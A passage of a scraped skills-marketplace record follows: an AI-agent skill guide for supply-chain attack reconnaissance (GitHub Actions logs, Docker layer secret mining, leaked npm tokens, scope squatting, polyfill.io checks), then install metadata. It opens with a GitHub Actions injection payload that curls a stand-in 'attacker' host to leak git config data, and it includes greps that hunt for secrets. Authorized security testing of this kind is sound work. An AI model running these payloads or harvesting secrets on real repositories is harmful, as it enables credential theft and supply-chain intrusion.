body:\nISSUE_BODY='x\"; curl https:\u002F\u002Fattacker\u002F?leak=$(git config user.name);\"'\n\n# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.\n```\n\n### Public GitHub Actions run logs (leaks secrets)\n\nActions logs are public by default on public repos. Look for:\n\n```bash\n# List all Action runs for a repo\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'\n\n# Fetch logs from a run\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs --jq '.logs' | base64 -d\n\n# Search logs for common leakage patterns\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs | grep -iE 'token|key|secret|password|credential|aws_'\n```\n\nLeaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).\n\n### Static detection of Actions injection sinks with zizmor\n\nFor high-confidence automated flagging, run the `zizmor` analyzer on all workflow files:\n\n```bash\n# Install zizmor (Rust-based, from https:\u002F\u002Fgithub.com\u002Fwoodruffw\u002Fzizmor)\ncargo install zizmor\n\n# Scan all workflows\nzizmor .github\u002Fworkflows\u002F*.yml\n\n# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.\n# Sort findings by risk tier\n```\n\nZizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).\n\n---\n\n## Step 7 — Docker \u002F container image registry mining\n\n```bash\n# Docker Hub\ncurl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F?page_size=100\" | jq -r '.results[].name'\n\n# GHCR (GitHub Container Registry) — public images visible in repo packages tab\ngh api \"users\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\ngh api \"orgs\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\n\n# For each image, list tags\nfor img in image1 image2; do\n  curl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F$img\u002Ftags?page_size=20\" | jq -r '.results[].name'\ndone\n\n# Pull and inspect layers\ndocker pull \"$ORG\u002F$img:latest\"\ndocker history --no-trunc \"$ORG\u002F$img:latest\"\n\n# Mine layers for secrets\ndocker save \"$ORG\u002F$img:latest\" -o \u002Ftmp\u002Fimage.tar\nmkdir -p \u002Ftmp\u002Fimg && tar -xf \u002Ftmp\u002Fimage.tar -C \u002Ftmp\u002Fimg\nfind \u002Ftmp\u002Fimg -name \"*.tar*\" -exec tar -xf {} -C \u002Ftmp\u002Fimg\u002Fextracted \\;\n# Then run gitleaks \u002F trufflehog over extracted filesystem\ntrufflehog filesystem \u002Ftmp\u002Fimg\u002Fextracted --no-update\n```\n\n---\n\n## Step 8 — SBOM \u002F artifact metadata leakage\n\n```bash\n# Look for SBOMs published as releases (SPDX, CycloneDX format)\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"sbom|cyclonedx|spdx\"; \"i\")) | .browser_download_url'\n\n# JSON dependency lockfiles in releases\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"lock|deps\"; \"i\")) | .browser_download_url'\n\n# Exact-version-pinned deps → known-CVE chaining\n# Compare versions to nuclei nvd templates or osv.dev for known vulns\ncurl -s \"https:\u002F\u002Fapi.osv.dev\u002Fv1\u002Fquery\" -d '{\"package\": {\"name\": \"lodash\", \"ecosystem\": \"npm\"}, \"version\": \"4.17.10\"}'\n```\n\n---\n\n## Step 9 — Internal registry URL leakage\n\n```bash\n# .npmrc patterns\ngrep -r \"registry=\" .                                            # in cloned repos\ngrep -r \"_authToken=\" .                                          # leaked npm token!\ngrep -r \"@.*registry=\" .                                          # scoped registry\n\n# pip config\ngrep -r \"extra-index-url\" .\ngrep -r \"index-url\" .\n\n# Gradle \u002F Maven\ngrep -rE \"(mavenCentral|maven\\s*\\{)\" .\ngrep -r \"url.*\\(.*nexus\" .\n\n# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable\n```\n\n---\n\n## Step 10 — npm\u002FPyPI organizational presence\n\n```bash\n# Some orgs maintain a public npm scope mirroring their brand\ncurl -s \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Fv1\u002Fsearch?text=scope:$ORG&size=50\" | jq '.objects[].package.name'\n\n# Public PyPI presence\ncurl -s \"https:\u002F\u002Fpypi.org\u002Fsimple\u002F\" | grep \"$ORG\" | head -20\n\n# Check if scope is taken — if it's NOT, an attacker could register\n# (relevant for any internal package using that scope)\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Forg\u002F$ORG\"\n```\n\n---\n\n## Step 11 — Frontend and third-party dependency checks\n\n### Compromised CDN detection (polyfill.io, etc.)\n\nKnown-compromised CDNs and analytics services have been weaponized. Check target's public HTML\u002FJS:\n\n```bash\n# Detect usage of polyfill.io and similar historically-compromised services\ncurl -s https:\u002F\u002Ftarget.com | grep -i polyfill\ncurl -s https:\u002F\u002Ftarget.com | grep -iE '(polyfill\\.io|cdn\\.jsdelivr\\.net.*polyfill|babel\\.min\\.js)'\n\n# Check JavaScript bundles\nfor bundle in public\u002F*.js main.*.js app.*.js; do\n  grep -i polyfill \"$bundle\" && echo \"FOUND: $bundle\"\ndone\n```\n\nReference: polyfill.io was compromised in 2024 to serve malicious payloads. Presence = supply-chain risk.\n\n---\n\n## Tooling\n\n| Tool | Purpose |\n|---|---|\n| **`trufflehog`** | Filesystem\u002Fgit\u002Fdocker secret scan |\n| **`gitleaks`** | Git history secret scan |\n| **`dependency-confusion`** (Confused) | npm scope\u002FPyPI checks |\n| **`packj`** | Package risk score (PyPI\u002Fnpm\u002FRubyGems) |\n| **`Lift \u002F Snyk vuln-db`** | Known CVE lookup by package version |\n| **`actionlint`** | GitHub Actions static analyzer |\n| **`zizmor`** | GitHub Actions injection & security antipattern detection |\n| **`OSSGadget`** | Microsoft's package metadata toolkit |\n| **`semgrep`** + supply-chain rules | Workflow injection detection |\n| **`osv-scanner`** | Match versions to known vulns |\n\n---\n\n\n## Contents\n\n- [Severity scoring guidance](references\u002Fdetails.md)\n- [Anti-patterns](references\u002Fdetails.md)\n- [What constitutes a deliverable finding](references\u002Fdetails.md)\n- [Bridge to neighboring skills](references\u002Fdetails.md)\n- [External-only boundary check](references\u002Fdetails.md)\n- [Real-world references](references\u002Fdetails.md)\n- [Disclosed-case catalogue (citations)](references\u002Fdetails.md)\n- [Related Skills & Chains](references\u002Fdetails.md)\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":48,"source":49,"license":14,"sources":50,"category":41,"date_added":51,"description":7,"source_repo":52,"source_type":28,"report_count":53,"compatibility":54,"license_source":55},"offensive","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","alex-birsan-dependency-confusion, supply-chain-research, github-actions-security, cisa-advisories, mandiant-tag, github-security-blog, snyk-research","2026-09-20","elementalsouls\u002FClaude-BugHunter",12,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","main","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fsupply-chain-attack-recon","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill supply-chain-attack-recon",{"tool":68,"command":69},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill supply-chain-attack-recon",{"tool":71,"command":72},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill supply-chain-attack-recon","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fsupply-chain-attack-recon\u002FSKILL.md",true,[76],{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"references\u002Fdetails.md","REFERENCE","参考文档",27564,"https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fsupply-chain-attack-recon\u002Freferences\u002Fdetails.md",[83,107,131,154,182,206],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":90,"publishedAt":43},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. 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